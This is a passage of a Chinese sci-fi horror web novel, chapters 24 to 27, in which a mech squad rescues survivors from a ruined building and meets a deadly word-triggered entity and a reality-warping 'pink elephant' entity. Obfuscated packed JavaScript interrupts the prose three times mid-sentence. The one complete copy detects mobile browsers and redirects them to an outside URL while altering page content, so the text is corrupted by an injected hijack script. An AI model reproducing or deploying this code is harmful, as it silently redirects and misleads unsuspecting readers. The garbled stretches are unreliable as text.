在他丰富的作战经验中,只有极少数的一两次,最终判定程序因为程序迭代出过类似问题,难道这辈子第一次作战,就这么倒霉么? 幸存者信息被同步至整个小队。阿龙迦一招手,“走,找楼梯,上二楼。” 阿龙迦在兽潮时的表现有目共睹,现在小队在行动时,隐隐以他为首。 楼梯藏在一个拐角后,十人迅速清理碎石,很快清扫出可以落脚的路来。 阿龙迦一马当先,一手架起强光灯,一手换成束能枪,“地形特殊,提高警惕!” 二楼的格局甚至和一楼也不同,这栋居民楼的格局显现出极度的“自由”和“散漫”来。 强光灯惨白的灯光下,两侧房间的分布呈现出一种古怪的不规则感,一直延伸到拐道。在这样狭小的空间中,很容易让人产生强迫感和焦虑。 两侧的门洞都是一样的破败,光看根本不能断定哪扇门后还有幸存者。 阿龙迦沉默片刻:“所有人一起行动,我们一间一间地搜寻。” 在幸存者急需救援的时刻,这样的搜寻当然效率低下,但有一件事情原野说得对,不能再分兵了。 绝不能再分兵。 《行动指导手册》第七条:请尽量保证,您在任何时候都处于人数≥3的团队中。 这是对抗异常的铁律。如果他们10个人再分兵,那么只要出现任何的突发情况,一起行动的人数就可能瞬间跌至3以下。 在异常中,这是非常可怕的事情。 “夸父”高功率运行的嗡鸣在狭小的空间中响起,阿龙迦猛地撞开一扇门,其他人迅速抬枪警戒,然而房屋中除了杂物,灰尘,空无一物。 整套房子被逐一搜寻。看上去就是套人去楼空的普通住房,唯一不同寻常的地方是卧室。 卧室中,青苔顺着卧室的墙壁爬了两米多高,青黑的深绿色,像是发了霉,浓得像要随时滴水。整套房子中有一股异样的潮湿。 阿龙迦伸手捻了捻墙上的青苔,“这面墙,非常湿润。” “奇怪,正常的房子空置会长青苔么?”另一个年轻人站在一旁端详,阿龙迦已经快速地阅读过2队所有人的信息,知道这个年轻人叫做李,李·维尔逊。 “难道房主人在离开前向墙上泼了水?可为什么要这么做?” 说话的是项少陵,在落地舱中第一个出头被原野处罚的年轻人,有一张看不出喜怒的长脸。重编队伍后,在落地舱中被处罚的两人项少陵、彭烈都被分到了阿龙迦的这一支队伍中。 “走,去隔壁房间看看。”阿龙迦道。 有人依法撞开了隔壁的门。门打开的瞬间,有一声尖促的叫声,队员们都是一惊。 有幸存者! “别害怕,我们是小珠星方面3-15救援队,我们是来救援你的!”项少陵沉稳但迅速地大声说。 自人头蜘蛛被击杀后一直沉默至今的彭烈,一言不发地进入,开始带头搜寻。 他们在卧室中找到了幸存者。这本该是个鼓舞人心的时刻,他们找到了第一个还有明显生命迹象的人类,但进入卧室的一刻,队员们不约而同地沉默了。 卧室里很湿润,非常湿润。 唯一的一个幸存者,正背对着他们,低着头坐在地上。 他面对着一面墙,这面墙很奇怪,房间中没有灯,所以显得非常暗沉,很黑,黑得发红。颜色非常浓郁。 队员们本来该第一时间就用强光灯去照那面墙,但他们没有,他们迟疑了,因为每个人的目力都足够好,好到能让他们看清墙上的一切。 最后依然是阿龙迦拨开人群,走上前去,开灯照亮了那面墙。 像是一面染了赤硝的巨幅画布。 视觉冲击太强烈,森冷的寒意像针一样刺进人的后背。 整面墙上像是泼着血红色的硝,没有一处不是红色。 红色中,有一具双手张开的人形,紧密地嵌在墙上。人形没有头部,颈部呈现出平滑的切面,很难想象有哪种工具能造成如此平整的切面,它的全身异常干枯,泛着铜一样的褐色,肌肉像风干的腊条,只有薄到透明的一层,紧紧地贴在骨骼上。 阿龙迦越过了那个垂头坐着的幸存者,走到墙边,对着墙上的那具人体细细观察。 良久,他开口道:“只是一具普通的人类尸体。遇难者应该是死于异常,异兽或者某种实体,如果不是神秘侧的因素,不可能人为将它的血抽干到这种地步。” 他指着这面墙后,“这大概就是这里这么湿润的原因。这面墙上全是它的血,它的血液和水分全部被抽干了,一直笼罩在这整个空间中,不曾散去。” 冲在最前面的彭烈,此刻也离他最近,听闻此言,忽地感到一阵恶寒:“所以这相邻两间屋的卧室是挨着的?那么那青苔……是以血和尸体为养料长出来的?” “这尸体上怎么还有被撕扯的痕迹?左侧小腿胫骨,和右足,都缺失了!而且你们谁能看出来它是怎么被嵌在墙上的?”李·维尔逊叫道,李在军校曾经主修药学和解剖学,如果以旧世界的眼光来看,他能算得上是个医学生。 “这就解释了为什么我们没在这间屋子中看见囤积的食物,而仍然还有一个‘幸存者’活着的原因。” 阿龙迦回过头,以强光灯去照“幸存者”的脸。 这是个极度邋遢的中年人。似乎已经神志不清,强光扫在脸上浑如不觉。 之前从背后只能看到他低垂着脑袋,但是从正面,能清晰地看到他腮帮鼓动,正在用力地咀嚼什么东西。 项少陵蹲下,扶正那个人的双肩,赫然发现他手里拿着缺失的小腿胫骨,已经啃得光溜溜的了,骨头上是一排他的牙印,混着油亮的口水。 “你!”项少陵心中猛地一跳,几乎忍不住把他推翻。 “吃……吃……”那个人被用力地一搡,却完全没有反应,看着项少陵的机甲那神魔般可怖的面容,只是发出一种呆滞的笑:“吃……吃…啊!” 纵然阿龙迦早已心如止水,且烧为飞灰。此情此景,却仍然忍不住心中低叹一声,却不是为了吃尸体存活的幸存者,而是为了这些新兵第一次上战场的反应。 他转过身,“带上他,再搜,这层楼也许有其他幸存者!” 他们依次搜寻了第二层的所有房间,却再没有见到幸存者,甚至除了两间中有隐约的人类白骨,其他房间都空荡荡的,像被废弃已久。 “22号,搜索第三层还存在生命信号吗?” “滴!” “扫描中……已确认。第三层存在生命信号。” “还是要上三楼。” 阿龙迦环顾,“但是上楼前,为了以防万一,所有人先对一遍口号。” “从左到右开始。”他示意。 口号是由最终判定程序实时生成的一段随机码,会在机甲内的显示屏上瞬时生成,每个成员说出后,不需要队友人为判断,小队AI会自动判定口号是否正确。 口号从最左侧的李·维尔逊开始。 “9s742祭yul*j12#。” 他念得很慢很小心,这段乱码一样的口号,由起码三种字符组成,不可能被蒙对。 他话音落下的瞬间,其他九人的机甲中都响起小队AI的声音:“验证通过。” 不只是声音,验证页面上,整个系统的警戒度也在往下掉。 其他人也一个接一个地说出自己的口号。 “7uytr5678ikj%。”这是彭烈。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陡然,他出手如电,带着放桩过千万次的灵敏,电光火石般抽出了几块石头,众人都不由得屏息,只见危墙摇晃,那一小片的碎石哗哗地落下、坍塌,过了几个呼吸,整面墙最终却保持了稳定。 众人不由得哗然,先问了他叫什么,此人说免贵姓陈,叫文若,陈文若。 于是人们不由得和他握手,“陈工,你真是一名好监工啊!” 此人一马当先,弯腰进入了危墙上打出的洞中,半晌,他激动的声音从矿…从墙洞中传来:“通了!通了!” “里面大不大?” “不大,慢慢来,一次只能过一个人!”陈工的声音远远传来。 紧随其后的是李,李·维尔逊。他也弯腰进洞,先是弯腰走了一阵,然后慢慢能直起身来,能看见垮塌的天顶。 夜色从天顶的缝隙透进来,夜凉如水,居然有淡淡的星光。 夜风吹在身上的时候,他似乎从漫长的疲惫中缓缓醒来,这是李作为一个医学生第一次上战场,他没有想到,在这样被污染的星球上,还能看见这样纯净的星光。 “陈工,你在哪儿?”他大喊。 “这儿……这儿……”陈工的声音还是那么遥远,遥遥传来。 李在废墟中跋涉,他大叫回去,“别走远了,陈工!其他人还在后面!” “没,没走远!”陈工的声音近了一些,“你快来,我给咱们找出了一条路——” 说到“路”到这个地方,陈工的声音忽然变了个调,不知道是太兴奋,还是太远了,他的声调忽然扭了一下,变得非常低,非常厚,像经过了变声器的过滤,变得特别迟缓。 李侧耳去听,居然还能听见陈工的语调还在拖长,“路————————” “路——————” “路——” 李开始怀疑这是他听错了,这其实是夜风在破洞的走廊中穿堂的声音。 然后一切忽然变得安静。 陷入了完全的死寂。 “陈工?” 没有人回答,李回头去看,他追陈工走出太远了,没有人跟上来。 一个可怕的想法忽然降临,这个想法在产生的瞬间开始膨胀,李像是突然被雷击中了,心脏缓缓沉了下去: 如果不算洞那边的人,那么现在,洞的这边只有他和陈工,算不算是只有两个人同行? 他违背了《行动指导手册》,他陷入了队友<3人的境地。 一股巨大的寒意抓住了他。他忽然特别迫切地想要对口号。 对!李像是抓到了最后一根稻草。对口号!等他一见到陈工,他就要跟他开始对口号! “陈工!陈工!我要发起对口号了!”李开始大步前进,走着走着他小跑起来。 他在驾驶舱中发起了生成口号,当确认选项浮现时,他狠狠地点击了“是”! “陈工!你听得见吗,我的口号是——”李正要开始读,忽然觉得周围豁然开朗,他拐过了一重弯,他看到陈工了! 他终于看到了陈工! 陈工站在一个洞口前。 他说得对,他确实为他们找到新的路了,这是个全新的洞口,看上去,是直接通往某个房间内部,洞里黑黢黢的。 陈工背对着他,看来等他们已经等了很久了。 “久等了,陈工!”李大步往前走,“你真厉害……对了我刚才发起了对口号,你那边收到了口号吗?我的口号是……呃,7tfvbn屹%unjt,对了吗?” 他一拍陈文若的背,“你的口号是什么?” 陈工说话了,陈工说:“路——” “路————————————” “路————————————” “路——————————————————————————” 陈工开口的第一秒,小队AI就开始报错:“口号错误!口号错误!” 红色的叉在李·维尔逊的面前疯狂闪动。 “你,你怎么了?”李身上的寒毛倒竖。 陈工缓缓地扭过头来,他还在说:“路——————————” 下一瞬,陈工的头掉了下来。准确来说,是机甲“夸父”的头掉了下来,切面平整到不可思议,这个世界上,能这样平滑地切割“夸父”的人工材料还没有诞生。 夸父的脑袋落下,合金表皮被带得开裂,露出了驾驶舱,驾驶舱暴露的瞬间,一阵血雾高高地扬起,血瞬间扑了李满身满脸,温热的血,他的视野瞬间猩红。 猩红的视野中,他看见陈工的身体直直地探了出来,侧过脑袋,看着他。 李刚要喊他,陈工的脑袋忽然齐根断裂,掉在地上。 颈部的截面平滑,平整完美。 25. 25 虫巢之井 李不知道自己是怎么跑开的。 陈工的血溅进了他的眼睛里,视野猩红,天旋地转。没有东西不是红的,没有东西不在旋转。 陈工脑袋掉下来的瞬间,像是刻在了他的脑海里,一遍遍地放映。 “陈工,陈工死了!有东西,有什么东西,”李语无伦次,“有什么东西杀了他!我不知道,三楼有异常……” 李劈头盖脸地撞上了来人。 第三个人正穿过危墙,李死死地抓住了他,发现正是那个带领他们的2队5号队员“龙雷”,是个异常沉稳的年轻人。 似乎从没见过他失去过一丝分寸,哪怕此时李疯狂地抓住他的双臂,“龙雷”也只是反过来安抚地按住他的肩膀。 “刚刚小队AI发布了死讯,我已经读到了陈文若牺牲的消息。”阿龙迦问,“慢慢说,他的死因更像是异兽还是实体?” “实体……应该是实体,我什么都没看见,没什么袭击陈工,他的脑袋就是突然掉下来的。我上一秒还听到他说话,忽然他就像卡机了一样,等我走到他背后,他的脑袋就这么掉了下来。” “而且有一点…有一点很奇怪,”李用力地吞咽口水,“你记得二楼墙上那具尸体吗?它断头处的截面平滑到怪异。陈工脑袋掉下来的截面跟它一模一样!不,不只是他的头,连他的机甲的断裂面,都一样!那不是现存的任何材料能够做到的!” 机甲中,阿龙迦瞳光忽锐。指向性很明确。 这只能是一个能力为概念型的实体。它在概念层面修改人的颈骨状态为“断裂”,于是颈部就没有一丝瑕疵地切断。 等人们一个个跨过危墙,他示意李:“带我去看。” 拐过那个弯,映入眼帘的画面仍然使人心神巨震。 属于陈文若的那具“夸父”的残躯仍然还站着,站得笔直。背影高大,颈部却破裂开来,露出驾驶舱。 陈工的血还没有停,像一脉血泉,向天空喷洒。 他无头的尸体耷拉在夸父上,全身似乎在剧烈地萎缩、干枯,水分迅速析出他的身体,体表像橘皮一样干瘪下去,血已经漫出了驾驶室。 检查完陈文若的尸身后,阿龙迦却没有停下,他开始搜查四周的环境,沿着两边的墙来回走,移开碎石,似乎在寻找什么。 “李,你有没有在这附近看到过什么违和的东西,”阿龙迦问到,“比如……一本书?或者任何呈现出书的外表的东西。” 李迟疑地摇头:“没有,现在还选择收藏实体书的人太少,如果看到了,我肯定会记住。” “那我问你,你说你上一秒还听见陈说话,然后他突然卡住了,”阿龙迦抬起头,“你记不记得他说的话是什么?” “我记得!他说他找到了新的——” “别说出来!”阿龙迦忽然喝到,打断他的话,“不要发出声音,打出来,传给我。” 等李写下了那个字,他心中忽地一动:“等等,我知道了,你是怀疑……”一层雾气像是陡然被揭开。 他猛地睁大了双眼。 “可是,可能吗?死亡表征不对!” “死亡表征永远不会和解剖学的课本里写的一模一样的,医学生。”阿龙迦道。 …… 众人简单地为陈文若处理了遗体,在三楼开始进行搜寻。 从陈文若为他们发现的新洞口进去,是废弃的一间空屋。外面的走廊已经完全被埋,要想再前进,他们只有借道这件房子的卧室,打穿墙壁,破墙进入相邻的屋内。 被打穿的墙壁哗哗落下,“夸父”们披着尘沙踏入,灰雾扬起三尺多高。 墙的另一侧,居然被他们发现了幸存的一家三口。 幸存,但是高度虚弱,奄奄一息。 父母二人都在即将脱水的边缘,枯槁得吓人,嘴唇泛着骇人的白色,双颊耸起,已经完全说不出话了。 墙板塌泻的时候,一家三人都躺在卧室的床上,似乎是在安静地等死,强光灯的光照过去,几乎没有反应,只是极度虚弱地蜷缩起来。只有六岁的女儿还能从床上爬起,怕得发抖,还是张开双手,似乎是要挡在父母前面。 “别害怕,”阿龙迦蹲下身,几米高的苍红色魔神和张开双臂的小姑娘保持齐平,女孩死死地盯着那张可怖的铁面。“你们安全了。我们是小珠星方面的3-15救援队,我们是来帮你的,负责接你们出去。” 小姑娘依旧极度警惕,身上发颤,这些突破她家门的高大身影恐怖极了,似乎和这里的其它怪兽没有什么不同。 阿龙迦叹了一口气,忽然笑了一下。他张开一只手,把自己所在的舰队徽记和个人信息投影在手中,他自己小型的头像缓缓旋转,红发的小像,年轻的脸看着镜头,桀骜不驯。 “看,我是个普通军人。我其实长这样,”阿龙迦敲了敲机甲的铁面,“别怕,这只是一具很吓人的盔甲,不是我的脸。” 其他人纷纷效仿,将自己的个人信息和舰队旗帜也投映在手中,九个全息小像在女孩面前旋转。 “他住在你们楼下,是我们帮助的第一个人,”阿龙迦指向被几个人隐隐围住的邋遢中年人,“现在我们会像帮助他一样帮助你们,带你们离开,好吗?” 小姑娘看了看中年人那张痴呆的脸,不知道是认出了他还是认出了那些赫赫有名的舰队旗帜,又或者逐渐相信了阿龙迦的话,死死绷紧的小脸突然崩溃,嚎啕大哭起来: “走!我走!我要和爸爸妈妈一起走……” 痛哭只持续了极短的时间,极度的虚弱使她很快委顿下去。等她不再抽噎,阿龙迦平视着她,忽然问了一个问题:“这段时间,你和爸爸妈妈说话多吗?” “我们不说话。外面有怪物,来了又走。”小姑娘摇摇头,嗓子嘶哑,“而且,我们家没水。” 她比出一点点的动作。 阿龙迦示意,李和另外一名医学专业的队员迅速上前,为女孩的父母使用复合营养剂,与吊住精力的药物。 有人抱起女孩和她的父母,阿龙迦站起身来,点点头:“好好休息。” 接下来,他们依法炮制,通过打穿墙壁一路前进。 一路都不再有幸存者,直到最后一间房,所有人同时停了下来。 天花板低低地压下,屋子里很黑,这栋楼里,一切都显得很黑。 吊灯上,系着一根细细的绳子,绳子下面悬挂着一具腐烂的死尸。因为温度和潮湿,已经高度腐烂了。皮肉像稀泥一样坠下,晃晃悠悠。 是的,这也是个极端潮湿的房间。诡异的潮湿。 队员们自觉开始搜查起来,很快,在客厅的餐桌边找到了另一具尸体。 那是一具无头的尸体,干枯得像一具蜡像。它还保持着端坐的姿态,胳膊放在桌面上,似乎死的时候,正向往常一样正常地进食。 诡异的是,它的右手还捏着进食的工具,一双筷子,被牢牢地攥在那只干枯的手中,时至今日不曾掉下。 阿龙迦把强光灯往下打。 果然,整面地上都是它的血,大片大片地铺开,把客厅的地毯染成浓重的黑褐色。 “又是这种典型的死状。搜索这套房子和附近,”阿龙迦发出指令,“目标:一本书。并且很可能是一本孩子的识字书。” 似乎有不止一个人想起了什么,想开口,却终究没有发出任何声音,开始仔细搜查。 最后,有几个人同时在频道中发出低低的惊呼,是彭烈在门外发现了一个高度符合的目标物体。 阿龙迦推开大门。大门的三步之外,躺着一本薄薄的硬壳册子。 封面花花绿绿的,各种小动物环绕,用圆润可爱的Q版字体写着:《大声读!宝宝的第一本拼写手册》 “很不正常,”彭烈把阿龙迦领过去时说,“这本书是被我从三层大石头下面清出来的,它被压了这么久,但它却没有弯,没有破,甚至没有脏。” 当阿龙迦把这本读写手册用一层特殊的镀金属材料包住拿起时,剧烈的警报响起: “极高污染度!极高污染度!疑似发现异常实体!” 阿龙迦把这本书向众人展示,说: “这是一个非常特殊的实体,想必你们中有些人已经意识到它是什么。我会把它的编号打在公共频道中,你们可以在行动指导手册中搜索它的描述,但从现在开始,任何人,都不能在语言中提及它的名字。” 公共频道中,他一个字一个字地打下: A072号实体。 A072号实体:【诛戮陷绝】 言语规则型实体。以20米为半径的区域内,当人们的说出“诛、戮、陷、绝”这四个字中的任何一个,或者同音词时,无预兆即死。不可抵挡。 附录:A072-1,通常被认为是A072的进化型,此时只要说出的字中的偏旁部首能组合出“诛、戮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“应该是这样没错,他们是一对结婚不久的情侣,我在客厅里发现了他们的婚纱照影集,女孩笑得很美,男孩也很年轻。两个人自从母星沦陷,一起被埋在家中相依为命,直到一方立死当场,另一方,就只剩下死路一条了。” 一个名为“何婵”的打字框高速闪动,打出一行字。 “那么剩下的那一家,那个吃尸体苟活的中年人呢?他和那具尸体是什么情况?”李·维尔逊打字道。 “他和那具尸体是家人吗?看着不像啊,那间房子里没有任何合影,而且谁会去吃自己亲人的遗体?” “两个可能,每个都只是猜想。”长久不做声的阿龙迦迅速打字。 “一、中年人和无头尸体确实是家人,他只是饿疯了才会去吃那具尸体,并在吃的过程中受到了极大的心理刺激,所以变得疯癫;” “二、他跟无头尸体根本不是家人。你记得二楼其它空房间里那些隐约的人类白骨吗?也许那才是他的家人。他把他的家人埋了起来。” “更进一步,也许他的家人也是死于‘诛戮陷绝’,甚至于这个实体出现的时候就在他的家里,或者他家的附近。在他的家人遇害后,他不知道怎么的搞明白了诛戮陷绝的用途,又或许他不明白,但直觉知道了这是个‘不好的东西’,是罪魁祸首,会导致人死亡。所以不知道是有意还是无意,他把它扔得更远,第一次它为他杀掉了二层的邻居,没有囤货的他收获了‘口粮’,第二次他把它放到更远的地方,三楼新婚夫妻的门口……记得吗?刚刚彭烈找到A072的时候,它被严密地压在三层石头下面,甚至还铺了碎石,太像人为痕迹了吧?这栋楼里还有谁能有如此精准的目标,和活动能力?” 频道中是一片死寂的沉默。 良久,何婵又打字:“可他为什么要再把A072放到三楼,还是为了口粮么?他的口粮已经够多了吧?” “多少口粮在末日算多?” “这样的人吃尸体也会发疯吗?”项少陵打字,若隐若无的似乎有一声嗤笑,“显得道德底线太高了吧?” “也许发疯并不是因为吃尸体,也许他移动A072的时候有直接的肢体接触,他是被污染了。” 这下频道中完全沉默下来。有人克制不住回头去看那个中年人,仍然是一副那样令人作呕的形容,双目浑浊,嘴角挂着亮晶晶的涎水。 “当然,这些都是完全的猜测。”阿龙迦的光标忽然又跳动起来。 “毕竟有根本解释不通的事情。如果真的是他,他是怎么进入二楼邻居房间的?他怎么知道邻居一定会死?而且他怎么可能进入走廊被堵死的三楼?难道他是在坍塌之前上来的么?坍塌又在什么时候?这些,毕竟都只是我个人的猜测。” 众人无言以对起来。 “……可万一,万一你是对的呢?”默不作声的彭烈忽然冒头,“那么我们豁出了许多人的命来,却会带回去一个谋杀了数人的罪犯。” “我们没有执法权。”阿龙迦的光标以匀速跳动,“如果是这样,你我能做的,只有尽量留证。” 26. 26 大象 2队原路撤出了东3楼。 在走之前,队员们用特殊材料深深地将A072“诛戮陷绝”埋在了东3楼中,并在三楼入口和整栋楼的门洞处都留下了明显的警告。 被救出的4位幸存者,或押或抱地被送至了楼间的一处空地。 说是空地,其实也只是楼与楼之间的一小块草地,夜风吹过,地上杂草低伏,四面都是居民楼,隐蔽性十分良好。 中队人来人往,草地上短暂地有了人气。人们从各栋居民楼中取来废弃物,临时支起了数顶大帐,用床单和木杆充当临时担架,将救出的伤员们停放在帐中。 “情况如何?”中队长原野掀帘进入帐中。 “已经用上了所有我们携带的纳米医疗机器人,正在为所有幸存者修补躯体中,”一个医疗兵答道,“我们已经为所有人打了强效能量剂,但是想要将幸存者们的身体状况恢复到能够行动,起码还需要一天一夜。” 原野沉默半晌:“如果不恢复到可行动水平,而只是到生命信号可自行维持,不再下降的水平呢?需要多长时间?” 医疗兵展开光屏,似乎调用了什么高度复杂的模型进行演算: “哪怕是这样,也至少需要六个小时。” 他抬起头来,“可这样的情况下他们怎么跋涉去返回舱?难道全程由队员们抱着?可万一遇到了危险,那会造成巨大的妨碍……” “我们携带了二十架小型自组纳米打印机,将耗时6-10小时,打印47架智能外骨骼,这些外骨骼将会代替幸存者行动,”原野和医疗兵郑重地握手,“六个小时的时间,请务必保证所有幸存者的恢复。” 原野似乎对医疗兵100%的信任,说完就离帐而去,再不回头。 医疗兵擦了擦机甲头上不存在的汗,转身召集了所有医疗成员,告知了目标。 没有任何的赘述。一语毕,所有人又迅速散去,回到担架前。 能看到每一具担架上的伤员,身上都“蠕动”着一团似透明似有色的物体,覆盖在一定范围的体表上。这团东西在缓缓地翻转,有时它是剔透而无色的,有时它又折射出一瞬的绚丽青光,像一团无定型的水银,沁入人的肌肤纹理之中。 实际上,它就是纳米机器人群落,每一秒钟都在不停地修补人体细胞,彼此输送着生物材料,重构组织,填补脏器。 强效能量剂带来的生命源泉被它们死死地“缝”进每一个血细胞。 “六小时,”机甲内,医疗兵的脸上挥汗如雨,“一点时间都不能浪费才行!” …… 帐外,其它几十个队员们随意而拥挤地围成一圈坐着。武器就地放着,或者杵在怀里,坐姿十分散漫。 大圈的中央,不是篝火,而是几只低亮度的荧光棒。 “唯一的好消息,”何婵斜靠着一颗大树,“咱们走了冤枉路,死了很多人,可是救出来的47人,一人不少。” “好消息。”其他人都赞同地附和。彭烈狠狠地点头。 “最终判定程序给咱分配的返回舱还有多远?”李·维尔逊几乎瘫倒在地,“千万别是原路返回,我真的走不动了。” 四周一片轰笑。“又不是你走的”“机甲走得你还累啊?”之语不绝于耳。 “笑什么笑,操纵机甲不累么?不累么?”幸好夸父的颜色本来就是暗红,不然以李此刻脸涨红的程度,颜色得透出机甲。 李的声音逐渐低下去,后面就是什么“都在嘴硬”,什么“我不是在发牢骚”,逐渐不说话了。 “分配给咱们的返回舱在东南方向,一个小时路程,”阿龙迦在子程序中查询完毕,道,“李的愿望倒是成真了。确实不是咱们来的时候的落地舱,咱们的落地舱就近分配给其他组了,我们使用的是新投放的返回舱,已经跟主舰完成相位绑定,可以通过相位跳跃直接拉回舰上。” “好!” 人群雀跃了一瞬。 “别放松得太早。在这之前,咱们还得在这撑过六个小时。”某个队员的脑袋被按住,一回头,原野从夜色中走来。 “我知道连续战斗已经让大家很累了,但是处在异常中,夜晚也十分危险,我们需要人守夜。” “每次休息的人不能多于总人数的三分之一,我需要其他的人分别守在帐前,两个居民楼走道方向,和草地尽头。这次我不强求,也不做分配,觉得自己状态无法支撑的人自己去休息,能够再守夜的人留下。再过不久就会天亮,队员们,撑住这最后的六个小时。” “从现在开始,”原野轻轻地击掌,“做出你的选择。” …… 阿龙迦毫无疑问地选择了留下。 他对于掌控自己的精力有一些个人的小窍门,在需要战斗的时候,他警惕更胜虎和狼。 更不用说这具身体尚且16岁,精力旺盛。 他选择了草地的尽头,以他的眼光看来,这里是最危险最容易有异变发生的地方。 所谓的草地尽头是指,草地开始延伸到居民楼外,与小区外连绵的荒野相接的开口处。 守在这里,向里能远远地看见结起的帐子,向外看去,则是夜色下长草翻涌的荒野。 也许它曾经不是荒野,也许是修剪完好一望无际的草坪,运动场,但它如今已成为完全的荒野。 长草起伏。 阿龙迦和其余的十几人零零散散地坐在草地尽头,今夜没有月亮,但是夜幕中却有点点的星光,满幕星海,是以并不黑得让人无法忍受,也没有黑到让人无法视物。 有微微的风吹,和机甲的通感让其感受起来就像是吹在脸上,夜风拂面。 十几个人一时都不再说话,靠坐着彼此,要么望着远方,要么望着高楼,默默无声。 到了后半夜,哪怕没人睡着,可是人们的神思难免恍惚了。 到了夜色更深处,不知道是谁,开始低低地哼一个歪歪扭扭的小曲: “稻草人……我是一只稻草人……站在金色的海……” “阳光星光,雨停又雪,可我没有帽子…… “我在看的是谁的家~” “稻草人……我是一只稻草人……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126986|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个调子像苍蝇嗡嗡嗡,扭来扭去的,在这种人已经恍惚的时候特别洗脑。 彭烈跟阿龙迦坐得不远(此人其实是看阿龙迦留下了,也义无反顾地留下,并且跟着坐守草地尽头)。听到这个调子,居然恍恍惚惚就要跟着一起扭动身子: 稻草人……我是一只稻草人。 稻草人稻草人稻草人……这句话就要在他脑子里打起圈来。 苍蝇打了几十个圈,彭烈一拍脑袋。不是,什么稻草人! 他的急脾气又腾地一下冒起来了,火焰熊熊。到底哪个人在哼这个魔音贯耳的小调子! 他刚要开口呵斥,忽然听见李·维尔逊做梦一样漂浮的声音: “神了,这还真有稻草人。” 哪里有稻草人?哪里有稻草人?! 彭烈一听,气不打一处来,今晚怎么人一个个都像发梦魇了? 他怒气冲冲地抬头……却呆住了。 荒野的地平线上,真的有一个稻草人。 不是很显眼的那种,就是一个破败的稻草人,几乎淹没在长草中,长草被风吹着起伏,拍打在它的身上,堪堪露出半个上身。 渺小得像个黑点一样,但不知道为什么,他看得特别清楚。 他心中像被锥子扎了一下,第一反应是高度警惕!他有一种极度怪异的感觉。 之前那个稻草人在那里吗!? 可是一个呼吸、两个呼吸……之后,彭烈忽然不太确定了。 他心底那一下的针扎像是忽然被抚平、抚平、抚平,抹开……然后那种怪异的感觉就消失了。完全消失。 像一抹阴翳悄然流走。 只是他的“感觉”有点模糊起来。 之前那个稻草人在那里吗……在的吧?他有点忐忑,不太确定。 又是一个呼吸,他肯定起来,在的。 要么就是他没看清楚,或者干脆被长草淹没住了,现在风吹草低,露出了真容。 他的心落下来,这点忐忑也一并流走。 在他,和许多人没有注意到的地方,阿龙迦已经腾地站起身来。 他十万甚至百万分地肯定,那个稻草人之前不在那里。 在守夜的几个小时内,他没有允许自己有过一分一秒的恍惚。 他已经像豹子一样绷紧身体,旁边有人梦呓一样地说:“挺梦幻,稻草人还在放风筝。谁把风筝挂在它身上了?” 风筝?哪里有风筝? 在阿龙迦的视野中,根本没有风筝的存在。 可等他开始想“风筝”的时候,风筝的轮廓却在天际渐渐地显露了出来。 真的有风筝,一只长串的风筝,很多相同的图案,一叠一叠的,延伸到夜空高处。 “别说,真挺梦幻,还是粉色的……”有人傻笑。 “粉色的?”阿龙迦问道,在他良好的视野中,那风筝却只是一团模糊的轮廓,“那你能看见风筝的形状,或者风筝的轮廓吗?” “哦,能。”那个人笑了,“一面一面的,都是大象。” “粉红色的大象。” 27. 27 心枯骨 “一面一面的,都是大象。” “粉红色的大象。” 夜风浩荡,夜色浩瀚。稻草人还在天际的长草间若隐若现,那一线浩浩的风筝,有如长流飞入云中。 阿龙迦的心陡然一沉。 他本来看不清楚那一线风筝的颜色,更无论样子,在他精确标准的视野中,那支风筝却反常地是一团模糊。 可是自从那个人回答他“粉红色的大象”开始,风筝在他眼里就开始有了形状,像水洗了一样颜色鲜明起来,有纱从眼前剥去。地平线上,风筝拔地而起,细细的一线接连云中,醒目而清晰。 真的是粉色大象。很明媚的粉色,孩子气的粉。怪不得看到它的人都说梦幻。 风筝的图案则是矮矮胖胖的大象,卡通画,涂着令人哭笑不得的粉色。 风筝缠绕在稻草人身上,像是湍流中被锚定的鱼线,又仿佛是稻草人在放风筝,很有童心。 这么可爱的画面,阿龙迦却像一具石像般凝住了。一个名字极低极低地从他的齿间隐没: “房间里的粉色大象……” 如果旁边的十几个队友能听到阿龙迦的声音,他们会瞬间想起这个名字。可是他们没有,也根本听不见。 S091号实体:【房间里的粉色大象】 极高致死性。 危险性因人而异。 无具体外观,无固定形体,每次出现时的外观,和当前观察者群体的“观想”有关。 但无论外观呈现为何种物品,都会和“粉色大象”这一形象有关,或带有粉色大象的特征。 极强的现实扭曲性,能合理化自己的出现,和对观察者的影响。 有一定具象化的能力。 在和“观察者”交互初期,会具现观察者的念头和思绪;交互加深,会逐渐具现观察者心中的负面形象,将其映照为实物;交互末期,会映照出观察者潜意识中的终极恐惧,具现为实物,这包括无机物品和生命。 注:也许它的造物并非具有杀伤性,但对每一个观察者来说,都是几乎不可抵抗的。 又注:它的造物上限,似乎与君王级的异兽持平。 S级的实体,意味着它要么在规则层面、概念层面无法避免,是“一定发生”“绝对成立”的必然事件,要么具有和君王级异兽同等的破坏性。 这一路,他们折损了许多队友,可他们遇见过最恐怖的异常造物,也只是那只“六手四翼”,一只半步君王级异兽。 而就在这么一个安静的夜晚,任务即将完成的最后六小时,一个S级实体就这样平淡而轻描淡写地降临,它忽然而来,悄无声息。 像是命运背面的阴影。 安静、至伟、莫不可挡。 它来的时候,只是一个荒野尽头默默独立的稻草人,一支长长的飘摇的风筝。 可是所有观察到它的人,都在浑然不觉中被影响。 